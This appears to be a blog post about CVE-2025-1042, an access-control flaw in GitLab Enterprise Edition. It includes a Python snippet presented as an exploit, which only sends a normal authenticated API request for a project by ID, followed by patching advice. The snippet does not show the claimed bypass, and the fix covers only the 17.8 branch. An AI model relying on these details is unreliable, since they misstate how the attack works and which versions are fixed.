Cybersecurity is an ever-evolving landscape and requires constant attention to ensure the safety of your data. In this post, we will discuss a critical vulnerability in GitLab's Enterprise Edition (EE), a widely-used platform for software development and management. Tagged as CVE-2025-1042, this vulnerability allows an attacker to view GitLab repositories in an unauthorized manner. The vulnerability affects all GitLab EE versions from 15.7 to 17.6.5, 17.7 to 17.7.4, and 17.8 to 17.8.2.

What Is CVE-2025-1042?
CVE-2025-1042 is an Insecure Direct Object Reference (IDOR) vulnerability, which allows attackers to bypass the proper authorization process and access user data and resources on the server directly. This security breach gives malicious users the ability to view repositories they should not have access to, potentially exposing sensitive information and intellectual property.

How Does the Vulnerability Work?
The vulnerability is caused by a lack of proper access control when requesting repository data through the GitLab API. Instead of checking if the user has the correct permissions to view a particular repository, the API uses the repository's unique identifier to display the requested data without verifying the user's authorization.

Here's a snippet of code demonstrating the vulnerability

import requests

# Replace your-gitlab-domain and your-api-token with the appropriate values
GITLAB_API_BASE_URL = 'https://your-gitlab-domain/api/v4';
API_TOKEN = 'your-api-token'

# Replace repository_id with the actual ID of the repository you want to access
repository_id = '123456'

# Send the request to GitLab API
headers = {'Authorization': f'Bearer {API_TOKEN}', 'Content-Type': 'application/json'}
response = requests.get(f'{GITLAB_API_BASE_URL}/projects/{repository_id}', headers=headers)

if response.status_code == 200:
    repository_data = response.json()
    print(f"Repository Name: {repository_data['name']}")
    print(f"Repository Visibility: {repository_data['visibility']}")
    # And other repository-related data, such as members, issues, etc.
else:
    print(f"Failed to fetch repository data: {response.status_code} - {response.reason}")

By using this code snippet, an attacker could potentially just change the 'repository_id' value to access any repository without proper permission, exposing sensitive data and allowing unauthorized access to proprietary code.

Original References

- GitLab Security Advisory: The official announcement from GitLab regarding the vulnerability and the versions affected.
- CVE-2025-1042: MITRE's Common Vulnerabilities and Exposures database entry for CVE-2025-1042.

Solution

To mitigate the CVE-2025-1042 vulnerability, update your GitLab EE installation to one of the following secure versions released by GitLab:

17.8.3 or later

Updating your GitLab EE installation will ensure that your repositories are protected from unauthorized access and prevent potential data breaches.

Final Thoughts

As technology and software development continue to advance, it's crucial to stay up-to-date with the latest security updates and best practices. Regularly monitoring and updating your software infrastructure and reviewing user permissions can prevent unauthorized access and potential damage to your business assets.

Timeline

Published on: 02/12/2025 15:15:16 UTC